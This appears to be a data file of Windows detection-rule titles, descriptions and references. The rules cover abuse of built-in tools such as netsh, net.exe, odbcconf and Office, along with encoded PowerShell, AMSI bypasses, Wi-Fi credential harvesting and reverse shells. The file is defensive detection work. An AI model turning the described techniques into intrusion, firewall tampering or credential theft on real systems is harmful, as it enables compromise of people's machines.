Arbitrary File Download Via MSPUB.EXE	Detects usage of "MSPUB" (Microsoft Publisher) to download arbitrary files	https://github.com/LOLBAS-Project/LOLBAS/pull/238/files
Potential Process Injection Via Msra.EXE	Detects potential process injection via Microsoft Remote Asssistance (Msra.exe) by looking at suspicious child processes spawned from the aforementioned process. It has been a target used by many threat actors and used for discovery and persistence tactics	https://www.microsoft.com/security/blog/2021/12/09/a-closer-look-at-qakbots-latest-building-blocks-and-how-to-knock-them-down/, https://www.fortinet.com/content/dam/fortinet/assets/analyst-reports/ar-qakbot.pdf
Detection of PowerShell Execution via Sqlps.exe	This rule detects execution of a PowerShell code through the sqlps.exe utility, which is included in the standard set of utilities supplied with the MSSQL Server. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.	https://learn.microsoft.com/en-us/sql/tools/sqlps-utility?view=sql-server-ver15, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Sqlps/, https://twitter.com/bryon_/status/975835709587075072
SQL Client Tools PowerShell Session Detection	This rule detects execution of a PowerShell code through the sqltoolsps.exe utility, which is included in the standard set of utilities supplied with the Microsoft SQL Server Management studio. Script blocks are not logged in this case, so this utility helps to bypass protection mechanisms based on the analysis of these logs.	https://github.com/LOLBAS-Project/LOLBAS/blob/8283d8d91552213ded165fd36deb6cb9534cb443/yml/OtherMSBinaries/Sqltoolsps.yml, https://twitter.com/pabraeken/status/993298228840992768
Suspicious Child Process Of SQL Server	Detects suspicious child processes of the SQLServer process. This could indicate potential RCE or SQL Injection.	Internal Research
Suspicious Child Process Of Veeam Dabatase	Detects suspicious child processes of the Veeam service process. This could indicate potential RCE or SQL Injection.	https://labs.withsecure.com/publications/fin7-target-veeam-servers
Potential MSTSC Shadowing Activity	Detects RDP session hijacking by using MSTSC shadowing	https://twitter.com/kmkz_security/status/1220694202301976576, https://github.com/kmkz/Pentesting/blob/47592e5e160d3b86c2024f09ef04ceb87d204995/Post-Exploitation-Cheat-Sheet
New Remote Desktop Connection Initiated Via Mstsc.EXE	Detects the usage of "mstsc.exe" with the "/v" flag to initiate a connection to a remote server. Adversaries may use valid accounts to log into a computer using the Remote Desktop Protocol (RDP). The adversary may then perform actions as the logged-on user.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1021.001/T1021.001.md#t1021001---remote-desktop-protocol, https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/mstsc
Mstsc.EXE Execution With Local RDP File	Detects potential RDP connection via Mstsc using a local ".rdp" file	https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/, https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
Suspicious Mstsc.EXE Execution With Local RDP File	Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.	https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/, https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
Mstsc.EXE Execution From Uncommon Parent	Detects potential RDP connection via Mstsc using a local ".rdp" file located in suspicious locations.	https://www.blackhillsinfosec.com/rogue-rdp-revisiting-initial-access-methods/, https://web.archive.org/web/20230726144748/https://blog.thickmints.dev/mintsights/detecting-rogue-rdp/
Msxsl.EXE Execution	Detects the execution of the MSXSL utility. This can be used to execute Extensible Stylesheet Language (XSL) files. These files are commonly used to describe the processing and rendering of data within XML files. Adversaries can abuse this functionality to execute arbitrary files while potentially bypassing application whitelisting defenses.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/
Remote XSL Execution Via Msxsl.EXE	Detects the execution of the "msxsl" binary with an "http" keyword in the command line. This might indicate a potential remote execution of XSL files.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1220/T1220.md, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Msxsl/
New Firewall Rule Added Via Netsh.EXE	Detects the addition of a new rule to the Windows firewall via netsh	https://web.archive.org/web/20190508165435/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf
Suspicious Program Location Whitelisted In Firewall Via Netsh.EXE	Detects Netsh command execution that whitelists a program located in a suspicious location in the Windows Firewall	https://www.virusradar.com/en/Win32_Kasidet.AD/description, https://www.hybrid-analysis.com/sample/07e789f4f2f3259e7559fdccb36e96814c2dbff872a21e1fa03de9ee377d581f?environmentId=100
RDP Connection Allowed Via Netsh.EXE	Detects usage of the netsh command to open and allow connections to port 3389 (RDP). As seen used by Sarwent Malware	https://labs.sentinelone.com/sarwent-malware-updates-command-detonation/
Firewall Rule Deleted Via Netsh.EXE	Detects the removal of a port or application rule in the Windows Firewall configuration using netsh	https://app.any.run/tasks/8bbd5b4c-b82d-4e6d-a3ea-d454594a37cc/
Firewall Disabled via Netsh.EXE	Detects netsh commands that turns off the Windows firewall	https://www.winhelponline.com/blog/enable-and-disable-windows-firewall-quickly-using-command-line/, https://app.any.run/tasks/210244b9-0b6b-4a2c-83a3-04bd3175d017/, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-1---disable-microsoft-defender-firewall
Netsh Allow Group Policy on Microsoft Defender Firewall	Adversaries may modify system firewalls in order to bypass controls limiting network usage	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.004/T1562.004.md#atomic-test-3---allow-smb-and-rdp-on-microsoft-defender-firewall, https://learn.microsoft.com/en-us/troubleshoot/windows-server/networking/netsh-advfirewall-firewall-control-firewall-behavior
Firewall Configuration Discovery Via Netsh.EXE	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1016/T1016.md#atomic-test-2---list-windows-firewall-rules, https://ss64.com/nt/netsh.html
Firewall Rule Update Via Netsh.EXE	Detects execution of netsh with the "advfirewall" and the "set" option in order to set new values for properties of a existing rule	https://ss64.com/nt/netsh.html
Potential Persistence Via Netsh Helper DLL	Detects the execution of netsh with "add helper" flag in order to add a custom helper DLL. This technique can be abused to add a malicious helper DLL that can be used as a persistence proxy that gets called when netsh.exe is executed.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1546.007/T1546.007.md, https://github.com/outflanknl/NetshHelperBeacon, https://web.archive.org/web/20160928212230/https://www.adaptforward.com/2016/09/using-netshell-to-execute-evil-dlls-and-persist-on-a-host/
New Network Trace Capture Started Via Netsh.EXE	Detects the execution of netsh with the "trace" flag in order to start a network capture	https://blogs.msdn.microsoft.com/canberrapfe/2012/03/30/capture-a-network-trace-without-installing-anything-capture-a-network-trace-of-a-reboot/, https://klausjochem.me/2016/02/03/netsh-the-cyber-attackers-tool-of-choice/
New Port Forwarding Rule Added Via Netsh.EXE	Detects the execution of netsh commands that configure a new port forwarding (PortProxy) rule	https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html, https://adepts.of0x.cc/netsh-portproxy-code/, https://www.dfirnotes.net/portproxy_detection/
RDP Port Forwarding Rule Added Via Netsh.EXE	Detects the execution of netsh to configure a port forwarding of port 3389 (RDP) rule	https://www.fireeye.com/blog/threat-research/2019/01/bypassing-network-restrictions-through-rdp-tunneling.html
Harvesting Of Wifi Credentials Via Netsh.EXE	Detect the harvesting of wifi credentials using netsh.exe	https://blog.malwarebytes.com/threat-analysis/2020/04/new-agenttesla-variant-steals-wifi-credentials/
Suspicious Group And Account Reconnaissance Activity Using Net.EXE	Detects suspicious reconnaissance command line activity on Windows systems using Net.EXE Check if the user that executed the commands is suspicious (e.g. service accounts, LOCAL_SYSTEM)	https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/, https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/, https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/
Unmount Share Via Net.EXE	Detects when when a mounted share is removed. Adversaries may remove share connections that are no longer useful in order to clean up traces of their operation	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1070.005/T1070.005.md
Start Windows Service Via Net.EXE	Detects the usage of the "net.exe" command to start a service using the "start" flag	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1569.002/T1569.002.md
New User Created Via Net.EXE	Identifies the creation of local users via the net.exe command.	https://eqllib.readthedocs.io/en/latest/analytics/014c3f51-89c6-40f1-ac9c-5688f26090ab.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1136.001/T1136.001.md
New User Created Via Net.EXE With Never Expire Option	Detects creation of local users via the net.exe command with the option "never expire"	https://thedfirreport.com/2022/07/11/select-xmrig-from-sqlserver/
Suspicious Manipulation Of Default Accounts Via Net.EXE	Detects suspicious manipulations of default accounts such as 'administrator' and 'guest'. For example 'enable' or 'disable' accounts or change the password...etc	https://www.trellix.com/en-sg/about/newsroom/stories/threat-labs/lockergoga-ransomware-family-used-in-targeted-attacks.html, https://redacted.com/blog/bianlian-ransomware-gang-gives-it-a-go/, https://www.microsoft.com/security/blog/2022/09/07/profiling-dev-0270-phosphorus-ransomware-operations/
Windows Admin Share Mount Via Net.EXE	Detects when an admin share is mounted using net.exe	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
Stop Windows Service Via Net.EXE	Detects the stopping of a Windows service via the "net" utility.	https://ss64.com/nt/net-service.html
Password Provided In Command Line Of Net.EXE	Detects a when net.exe is called with a password in the command line	Internal Research
Windows Internet Hosted WebDav Share Mount Via Net.EXE	Detects when an internet hosted webdav share is mounted using the "net.exe" utility	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
Windows Share Mount Via Net.EXE	Detects when a share is mounted using the "net.exe" utility	https://drive.google.com/file/d/1lKya3_mLnR3UQuCoiYruO3qgu052_iS_/view
System Network Connections Discovery Via Net.EXE	Adversaries may attempt to get a listing of network connections to or from the compromised system they are currently accessing or from remote systems by querying for information over the network.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1049/T1049.md#atomic-test-1---system-network-connections-discovery
Share And Session Enumeration Using Net.EXE	Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag.	https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
Nltest.EXE Execution	Detects nltest commands that can be used for information discovery	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/nltest.htm
Potential Arbitrary Code Execution Via Node.EXE	Detects the execution node.exe which is shipped with multiple software such as VMware, Adobe...etc. In order to execute arbitrary code. For example to establish reverse shell as seen in Log4j attacks...etc	http://blog.talosintelligence.com/2022/09/lazarus-three-rats.html, https://www.sprocketsecurity.com/resources/crossing-the-log4j-horizon-a-vulnerability-with-no-return, https://www.rapid7.com/blog/post/2022/01/18/active-exploitation-of-vmware-horizon-servers/, https://nodejs.org/api/cli.html
Potential Recon Activity Via Nltest.EXE	Detects nltest commands that can be used for information discovery	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731935(v=ws.11), https://thedfirreport.com/2021/08/16/trickbot-leads-up-to-fake-1password-installation/, https://thedfirreport.com/2020/10/18/ryuk-in-5-hours/, https://book.hacktricks.xyz/windows/basic-cmd-for-pentesters, https://research.nccgroup.com/2022/08/19/back-in-black-unlocking-a-lockbit-3-0-ransomware-attack/, https://eqllib.readthedocs.io/en/latest/analytics/03e231a6-74bc-467a-acb1-e5676b0fb55e.html, https://redcanary.com/blog/how-one-hospital-thwarted-a-ryuk-ransomware-outbreak/, https://github.com/redcanaryco/atomic-red-team/blob/5360c9d9ffa3b25f6495f7a16e267b719eba2c37/atomics/T1482/T1482.md#atomic-test-2---windows---discover-domain-trusts-with-nltest
Node Process Executions	Detects the execution of other scripts using the Node executable packaged with Adobe Creative Cloud	https://twitter.com/mttaggart/status/1511804863293784064
Network Reconnaissance Activity	Detects a set of suspicious network related commands often used in recon stages	https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
Nslookup PowerShell Download Cradle - ProcessCreation	Detects suspicious powershell download cradle using nslookup. This cradle uses nslookup to extract payloads from DNS records	https://twitter.com/Alh4zr3d/status/1566489367232651264
Suspicious Usage Of Active Directory Diagnostic Tool (ntdsutil.exe)	Detects execution of ntdsutil.exe to perform different actions such as restoring snapshots...etc.	https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2012-r2-and-2012/cc731620(v=ws.11), https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/espionage-asia-governments
Invocation of Active Directory Diagnostic Tool (ntdsutil.exe)	Detects execution of ntdsutil.exe, which can be used for various attacks against the NTDS database (NTDS.DIT)	https://jpcertcc.github.io/ToolAnalysisResultSheet/details/ntdsutil.htm
Driver/DLL Installation Via Odbcconf.EXE	Detects execution of "odbcconf" with "INSTALLDRIVER" which installs a new ODBC driver. Attackers abuse this to install and run malicious DLLs.	https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176, https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
Suspicious Driver/DLL Installation Via Odbcconf.EXE	Detects execution of "odbcconf" with the "INSTALLDRIVER" action where the driver doesn't contain a ".dll" extension. This is often used as a defense evasion method.	https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176, https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
New DLL Registered Via Odbcconf.EXE	Detects execution of "odbcconf" with "REGSVR" in order to register a new DLL (equivalent to running regsvr32). Attackers abuse this to install and run malicious DLLs.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://redcanary.com/blog/raspberry-robin/, https://web.archive.org/web/20191023232753/https://twitter.com/Hexacorn/status/1187143326673330176, https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/, https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
Odbcconf.EXE Suspicious DLL Location	Detects execution of "odbcconf" where the path of the DLL being registered is located in a potentially suspicious location.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html, https://securityintelligence.com/posts/raspberry-robin-worm-dridex-malware/
Potentially Suspicious DLL Registered Via Odbcconf.EXE	Detects execution of "odbcconf" with the "REGSVR" action where the DLL in question doesn't contain a ".dll" extension. Which is often used as a method to evade defenses.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
Response File Execution Via Odbcconf.EXE	Detects execution of "odbcconf" with the "-f" flag in order to load a response file which might contain a malicious action.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://www.cybereason.com/blog/threat-analysis-report-bumblebee-loader-the-high-road-to-enterprise-domain-control, https://www.hexacorn.com/blog/2020/08/23/odbcconf-lolbin-trifecta/
Suspicious Response File Execution Via Odbcconf.EXE	Detects execution of "odbcconf" with the "-f" flag in order to load a response file with a non-".rsp" extension.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://www.trendmicro.com/en_us/research/17/h/backdoor-carrying-emails-set-sights-on-russian-speaking-businesses.html
Uncommon Child Process Spawned By Odbcconf.EXE	Detects an uncommon child process of "odbcconf.exe" binary which normally shouldn't have any child processes.	https://learn.microsoft.com/en-us/sql/odbc/odbcconf-exe?view=sql-server-ver16, https://lolbas-project.github.io/lolbas/Binaries/Odbcconf/, https://medium.com/@cyberjyot/t1218-008-dll-execution-using-odbcconf-exe-803fa9e08dac
Potential Arbitrary File Download Using Office Application	Detects potential arbitrary file download using a Microsoft Office application	https://lolbas-project.github.io/lolbas/OtherMSBinaries/Winword/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Powerpnt/, https://lolbas-project.github.io/lolbas/OtherMSBinaries/Excel/, https://medium.com/@reegun/unsanitized-file-validation-leads-to-malicious-payload-download-via-office-binaries-202d02db7191
Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp	Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.	https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922, https://github.com/grayhatkiller/SharpExShell, https://learn.microsoft.com/en-us/office/vba/api/excel.xlmsapplication
Potentially Suspicious Office Document Executed From Trusted Location	Detects the execution of an Office application that points to a document that is located in a trusted location. Attackers often used this to avoid macro security and execute their malicious code.	Internal Research, https://twitter.com/Max_Mal_/status/1633863678909874176, https://techcommunity.microsoft.com/t5/microsoft-365-blog/new-security-hardening-policies-for-trusted-documents/ba-p/3023465, https://twitter.com/_JohnHammond/status/1588155401752788994
OneNote.EXE Execution of Malicious Embedded Scripts	Detects the execution of malicious OneNote documents that contain embedded scripts. When a user clicks on a OneNote attachment and then on the malicious link inside the ".one" file, it exports and executes the malicious embedded script from specific directories.	https://bazaar.abuse.ch/browse/tag/one/
Suspicious Microsoft OneNote Child Process	Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.	https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18, https://micahbabinski.medium.com/detecting-onenote-one-malware-delivery-407e9321ecf0
Outlook EnableUnsafeClientMailRules Setting Enabled	Detects an attacker trying to enable the outlook security setting "EnableUnsafeClientMailRules" which allows outlook to run applications or execute macros	https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=44, https://support.microsoft.com/en-us/topic/how-to-control-the-rule-actions-to-start-an-application-or-run-a-macro-in-outlook-2016-and-outlook-2013-e4964b72-173c-959d-5d7b-ead562979048
Suspicious Execution From Outlook Temporary Folder	Detects a suspicious program execution in Outlook temp folder	Internal Research
Suspicious Outlook Child Process	Detects a suspicious process spawning from an Outlook process.	https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100, https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html
Suspicious Remote Child Process From Outlook	Detects a suspicious child process spawning from Outlook where the image is located in a remote location (SMB/WebDav shares).	https://github.com/sensepost/ruler, https://www.fireeye.com/blog/threat-research/2018/12/overruled-containing-a-potentially-destructive-adversary.html, https://speakerdeck.com/heirhabarov/hunting-for-persistence-via-microsoft-exchange-server-or-outlook?slide=49
Suspicious Binary In User Directory Spawned From Office Application	Detects an executable in the users directory started from one of the Microsoft Office suite applications (Word, Excel, PowerPoint, Publisher, Visio)	https://blog.morphisec.com/fin7-not-finished-morphisec-spots-new-campaign, https://www.virustotal.com/gui/file/23160972c6ae07f740800fa28e421a81d7c0ca5d5cab95bc082b4a986fbac57
Potential Arbitrary DLL Load Using Winword	Detects potential DLL sideloading using the Microsoft Office winword process via the '/l' flag.	https://github.com/D4Vinci/One-Lin3r/blob/9fdfa5f0b9c698dfbd4cdfe7d2473192777ae1c6/one_lin3r/core/liners/windows/cmd/dll_loader_word.py
Suspicious Microsoft Office Child Process	Detects a suspicious process spawning from one of the Microsoft Office suite products (Word, Excel, PowerPoint, Publisher, Visio, etc.)	https://www.hybrid-analysis.com/sample/465aabe132ccb949e75b8ab9c5bda36d80cf2fd503d52b8bad54e295f28bbc21?environmentId=100, https://mgreen27.github.io/posts/2018/04/02/DownloadCradle.html, https://thedfirreport.com/2021/03/29/sodinokibi-aka-revil-ransomware/, https://doublepulsar.com/follina-a-microsoft-office-code-execution-vulnerability-1a47fce5629e, https://github.com/vadim-hunter/Detection-Ideas-Rules/blob/02bcbfc2bfb8b4da601bb30de0344ae453aa1afe/Threat%20Intelligence/The%20DFIR%20Report/20210329_Sodinokibi_(aka_REvil)_Ransomware.yaml, https://github.com/splunk/security_content/blob/develop/detections/endpoint/office_spawning_control.yml, https://twitter.com/andythevariable/status/1576953781581144064?s=20&t=QiJILvK4ZiBdR8RJe24u-A, https://www.elastic.co/security-labs/exploring-the-ref2731-intrusion-set, https://github.com/elastic/detection-rules/blob/c76a39796972ecde44cb1da6df47f1b6562c9770/rules/windows/defense_evasion_execution_msbuild_started_by_office_app.toml, https://www.vmray.com/analyses/2d2fa29185ad/report/overview.html, https://app.any.run/tasks/c903e9c8-0350-440c-8688-3881b556b8e0/
Potential Mpclient.DLL Sideloading Via OfflineScannerShell.EXE Execution	Detects execution of Windows Defender "OfflineScannerShell.exe" from its non standard directory. The "OfflineScannerShell.exe" binary is vulnerable to DLL side loading and will load any DLL named "mpclient.dll" from the current working directory.	https://lolbas-project.github.io/lolbas/Binaries/OfflineScannerShell/
PDQ Deploy Remote Adminstartion Tool Execution	Detect use of PDQ Deploy remote admin tool	https://github.com/redcanaryco/atomic-red-team/blob/9e5b12c4912c07562aec7500447b11fa3e17e254/atomics/T1072/T1072.md, https://www.pdq.com/pdq-deploy/
Potentially Suspicious Execution Of PDQDeployRunner	Detects suspicious execution of "PDQDeployRunner" which is part of the PDQDeploy service stack that is responsible for executing commands and packages on a remote machines	https://twitter.com/malmoeb/status/1550483085472432128
Perl Inline Command Execution	Detects execution of perl using the "-e"/"-E" flags. This is could be used as a way to launch a reverse shell or execute live perl code.	https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet, https://www.revshells.com/
Php Inline Command Execution	Detects execution of php using the "-r" flag. This is could be used as a way to launch a reverse shell or execute live php code.	https://www.php.net/manual/en/features.commandline.php, https://www.revshells.com/, https://pentestmonkey.net/cheat-sheet/shells/reverse-shell-cheat-sheet
Ping Hex IP	Detects a ping command that uses a hex encoded IP address	https://github.com/vysecurity/Aggressor-VYSEC/blob/0d61c80387b9432dab64b8b8a9fb52d20cfef80e/ping.cna, https://twitter.com/vysecurity/status/977198418354491392
PktMon.EXE Execution	Detects execution of PktMon, a tool that captures network packets.	https://lolbas-project.github.io/lolbas/Binaries/Pktmon/
Suspicious Plink Port Forwarding	Detects suspicious Plink tunnel port forwarding to a local port	https://www.real-sec.com/2019/04/bypassing-network-restrictions-through-rdp-tunneling/, https://medium.com/@informationsecurity/remote-ssh-tunneling-with-plink-exe-7831072b3d7d
Potential RDP Tunneling Via Plink	Execution of plink to perform data exfiltration and tunneling	https://www.microsoft.com/security/blog/2022/07/26/malicious-iis-extensions-quietly-open-persistent-backdoors-into-servers/
Suspicious Powercfg Execution To Change Lock Screen Timeout	Detects suspicious execution of 'Powercfg.exe' to change lock screen timeout	https://blogs.vmware.com/security/2022/11/batloader-the-evasive-downloader-malware.html, https://learn.microsoft.com/en-us/windows-hardware/design/device-experiences/powercfg-command-line-options
AADInternals PowerShell Cmdlets Execution - ProccessCreation	Detects ADDInternals Cmdlet execution. A tool for administering Azure AD and Office 365. Which can be abused by threat actors to attack Azure AD or Office 365.	https://o365blog.com/aadinternals/, https://github.com/Gerenios/AADInternals
Potential Active Directory Enumeration Using AD Module - ProcCreation	Detects usage of the "Import-Module" cmdlet to load the "Microsoft.ActiveDirectory.Management.dl" DLL. Which is often used by attackers to perform AD enumeration.	https://github.com/samratashok/ADModule, https://twitter.com/cyb3rops/status/1617108657166061568?s=20, https://www.ired.team/offensive-security-experiments/active-directory-kerberos-abuse/active-directory-enumeration-with-ad-module-without-rsat-or-admin-privileges
Add Windows Capability Via PowerShell Cmdlet	Detects usage of the "Add-WindowsCapability" cmdlet to add Windows capabilities. Notable capabilities could be "OpenSSH" and others.	https://learn.microsoft.com/en-us/windows-server/administration/openssh/openssh_install_firstuse?tabs=powershell, https://www.virustotal.com/gui/file/af1c82237b6e5a3a7cdbad82cc498d298c67845d92971bada450023d1335e267/content
Potential AMSI Bypass Via .NET Reflection	Detects Request to "amsiInitFailed" that can be used to disable AMSI Scanning	https://s3cur3th1ssh1t.github.io/Bypass_AMSI_by_manual_modification/, https://www.mdsec.co.uk/2018/06/exploring-powershell-amsi-and-logging-evasion/
Potential AMSI Bypass Using NULL Bits	Detects usage of special strings/null bits in order to potentially bypass AMSI functionalities	https://github.com/r00t-3xp10it/hacking-material-books/blob/43cb1e1932c16ff1f58b755bc9ab6b096046853f/obfuscation/simple_obfuscation.md#amsi-bypass-using-null-bits-satoshi
Audio Capture via PowerShell	Detects audio capture via PowerShell Cmdlet.	https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1123/T1123.md, https://eqllib.readthedocs.io/en/latest/analytics/ab7a6ef4-0983-4275-a4f1-5c6bd3c31c23.html, https://github.com/frgnca/AudioDeviceCmdlets
Suspicious Encoded PowerShell Command Line	Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)	https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e
Suspicious PowerShell Encoded Command Patterns	Detects PowerShell command line patterns in combincation with encoded commands that often appear in malware infection chains	https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/
Suspicious Obfuscated PowerShell Code	Detects suspicious UTF16 and base64 encoded and often obfuscated PowerShell code often used in command lines	https://app.any.run/tasks/fcadca91-3580-4ede-aff4-4d2bf809bf99/
PowerShell Base64 Encoded FromBase64String Cmdlet	Detects usage of a base64 encoded "FromBase64String" cmdlet in a process command line	Internal Research
Malicious Base64 Encoded PowerShell Keywords in Command Lines	Detects base64 encoded strings used in hidden malicious PowerShell command lines	http://www.leeholmes.com/blog/2017/09/21/searching-for-content-in-base-64-strings/
PowerShell Base64 Encoded IEX Cmdlet	Detects usage of a base64 encoded "IEX" cmdlet in a process command line	Internal Research
PowerShell Base64 Encoded Invoke Keyword	Detects UTF-8 and UTF-16 Base64 encoded powershell 'Invoke-' calls	https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
Powershell Base64 Encoded MpPreference Cmdlet	Detects base64 encoded "MpPreference" PowerShell cmdlet code that tries to modifies or tamper with Windows Defender AV	https://learn.microsoft.com/en-us/defender-endpoint/configure-process-opened-file-exclusions-microsoft-defender-antivirus, https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1562.001/T1562.001.md, https://twitter.com/AdamTheAnalyst/status/1483497517119590403
PowerShell Base64 Encoded Reflective Assembly Load	Detects base64 encoded .NET reflective loading of Assembly	https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar, https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/
Suspicious Encoded And Obfuscated Reflection Assembly Load Function Call	Detects suspicious base64 encoded and obfuscated "LOAD" keyword used in .NET "reflection.assembly"	https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar, https://thedfirreport.com/2022/05/09/seo-poisoning-a-gootloader-story/, https://learn.microsoft.com/en-us/dotnet/api/system.appdomain.load?view=net-7.0
Potential Process Execution Proxy Via CL_Invocation.ps1	Detects calls to "SyncInvoke" that is part of the "CL_Invocation.ps1" script to proxy execution using "System.Diagnostics.Process"	https://lolbas-project.github.io/lolbas/Scripts/Cl_invocation/, https://twitter.com/bohops/status/948061991012327424
PowerShell Base64 Encoded WMI Classes	Detects calls to base64 encoded WMI class such as "Win32_ShadowCopy", "Win32_ScheduledJob", etc.	https://github.com/Neo23x0/Raccine/blob/20a569fa21625086433dcce8bb2765d0ea08dcb6/yara/mal_revil.yar
Assembly Loading Via CL_LoadAssembly.ps1	Detects calls to "LoadAssemblyFromPath" or "LoadAssemblyFromNS" that are part of the "CL_LoadAssembly.ps1" script. This can be abused to load different assemblies and bypass App locker controls.	https://bohops.com/2018/01/07/executing-commands-and-bypassing-applocker-with-powershell-diagnostic-scripts/, https://lolbas-project.github.io/lolbas/Scripts/CL_LoadAssembly/
Potential Script Proxy Execution Via CL_Mutexverifiers.ps1	Detects the use of the Microsoft signed script "CL_mutexverifiers" to proxy the execution of additional PowerShell script commands	https://lolbas-project.github.io/lolbas/Scripts/CL_mutexverifiers/
